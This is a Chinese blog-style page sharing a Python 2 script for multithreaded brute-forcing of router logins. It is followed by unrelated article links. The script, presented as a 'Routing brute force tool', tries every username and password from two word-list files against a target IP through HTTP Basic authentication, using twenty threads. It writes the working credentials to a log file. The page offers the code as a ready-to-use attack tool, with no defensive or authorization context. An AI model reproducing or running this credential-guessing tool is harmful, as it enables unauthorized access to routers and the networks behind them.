python实现多线程暴力破解登陆路由器功能代码分享


Posted in Python onJanuary 04, 2015

运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....

#coding:utf-8- 

import base64 

import urllib2 

import Queue 

import threading,re,sys 

queue = Queue.Queue() 

class Rout_thread(threading.Thread):
  def __init__(self,queue,passwd):
    threading.Thread.__init__(self) 

    self.queue=queue 

    self.passwordlist=passwd 

  def run(self): 

    self.user=queue.get() 

    for self.passwd in self.passwordlist: 

      request = urllib2.Request("http://"+target) 

      psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd) 

      request.add_header('Authorization', psw_base64) 

      try: 

         

        response = urllib2.urlopen(request) 

        print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd) 

        fp3 = open('log.txt','a') 

        fp3.write(self.user+'||'+self.passwd+'\r\n') 

        fp3.close() 

      except urllib2.HTTPError: 

        print "[-]password:%s Error!" % (self.passwd)
 
if __name__ == '__main__': 

  print ''' 

    ####################################################### 

    #                                                     # 

    #                Routing brute force tool             # 

    #                                                     # 

    #                 by:well                             # 

    #                                                    # 

    ####################################################### 

''' 

  passwordlist = [] 

  line = 20 

  threads = [] 

  global target 

  target = raw_input("input ip:") 

  fp =open("user.txt") 

  fp2=open("passwd.txt") 

  for user in fp.readlines(): 

    queue.put(user.split('\n')[0]) 

  for passwd in fp2.readlines(): 

    passwordlist.append(passwd.split('\n')[0]) 

    #print passwordlist 

       

  fp.close() 

  fp2.close() 

  for i in range(line): 

    a = Rout_thread(queue,passwordlist) 

    a.start() 

    threads.append(a) 

  for j in threads: 

    j.join()
Python 相关文章推荐
python数据库操作常用功能使用详解(创建表/插入数据/获取数据)
Dec 06 Python
使用python装饰器验证配置文件示例
Feb 24 Python
python基础教程之缩进介绍
Aug 29 Python
Python的Django框架中设置日期和字段可选的方法
Jul 17 Python
基于python的Tkinter编写登陆注册界面
Jun 30 Python
Python文本处理之按行处理大文件的方法
Apr 09 Python
终端命令查看TensorFlow版本号及路径的方法
Jun 13 Python
Tensorflow中使用tfrecord方式读取数据的方法
Jun 19 Python
Python.append()与Python.expand()用法详解
Dec 18 Python
解决pycharm中的run和debug失效无法点击运行
Jun 09 Python
tensorflow+k-means聚类简单实现猫狗图像分类的方法
Apr 28 Python
Python 详解通过Scrapy框架实现爬取CSDN全站热榜标题热词流程
Nov 11 Python
Python中对列表排序实例
Jan 04 #Python
Python实现爬取知乎神回复简单爬虫代码分享
Jan 04 #Python
Python连接mssql数据库编码问题解决方法
Jan 01 #Python
Python中optparse模块使用浅析
Jan 01 #Python
Python中urllib2模块的8个使用细节分享
Jan 01 #Python
Python读取ini文件、操作mysql、发送邮件实例
Jan 01 #Python
Python实现检测服务器是否可以ping通的2种方法
Jan 01 #Python
You might like
在PHP中使用灵巧的体系结构
2006/10/09 PHP
js限制checkbox勾选的个数以及php获取多个checkbbox的方法深入解析
2013/07/18 PHP
PHP 验证登陆类分享
2015/03/13 PHP
php给一组指定关键词添加span标签的方法
2015/03/31 PHP
php中get_defined_constants函数用法实例分析
2015/05/12 PHP
php生出随机字符串
2017/07/06 PHP
javascript的键盘控制事件说明
2008/04/15 Javascript
扩展jQuery 键盘事件的几个基本方法
2009/10/30 Javascript
js为鼠标添加右击事件防止默认的右击菜单弹出
2013/07/29 Javascript
jQuery中mouseover事件用法实例
2014/12/26 Javascript
使用JavaScript开发IE浏览器本地插件实例
2015/02/18 Javascript
angularjs表格ng-table使用备忘录
2016/03/09 Javascript
AngularJS指令与控制器之间的交互功能示例
2016/12/14 Javascript
Vue.js实战之组件之间的数据传递
2017/04/01 Javascript
js自定义trim函数实现删除两端空格功能
2018/02/09 Javascript
[原创]jQuery实现合并/追加数组并去除重复项的方法
2018/04/11 jQuery
JS实现点击发送验证码 xx秒后重新发送功能
2019/07/30 Javascript
浅谈Vue项目骨架屏注入实践
2019/08/05 Javascript
微信小程序跨页面传递data数据方法解析
2019/12/13 Javascript
Vue组件化开发之通用型弹出框的实现
2020/02/28 Javascript
封装 axios+promise通用请求函数操作
2020/08/11 Javascript
vue 防止页面加载时看到花括号的解决操作
2020/11/09 Javascript
linux系统使用python获取cpu信息脚本分享
2014/01/15 Python
python简单文本处理的方法
2015/07/10 Python
python 爬取微信文章
2016/01/30 Python
删除DataFrame中值全为NaN或者包含有NaN的列或行方法
2018/11/06 Python
如何在django中添加日志功能
2020/02/06 Python
解决jupyter notebook打不开无反应 浏览器未启动的问题
2020/04/10 Python
几道Web/Ajax的面试题
2016/11/05 面试题
结婚喜宴家长答谢词
2014/01/15 职场文书
会计学生自我鉴定
2014/02/06 职场文书
升职演讲稿范文
2014/05/23 职场文书
见习报告格式范文
2014/11/08 职场文书
2015高中教师个人工作总结
2015/07/21 职场文书
Nginx 反向代理解决跨域问题多种情况分析
2022/01/18 Servers
《模拟人生4》推出新补丁 “婚礼奇缘”DLC终于得到修复
2022/04/03 其他游戏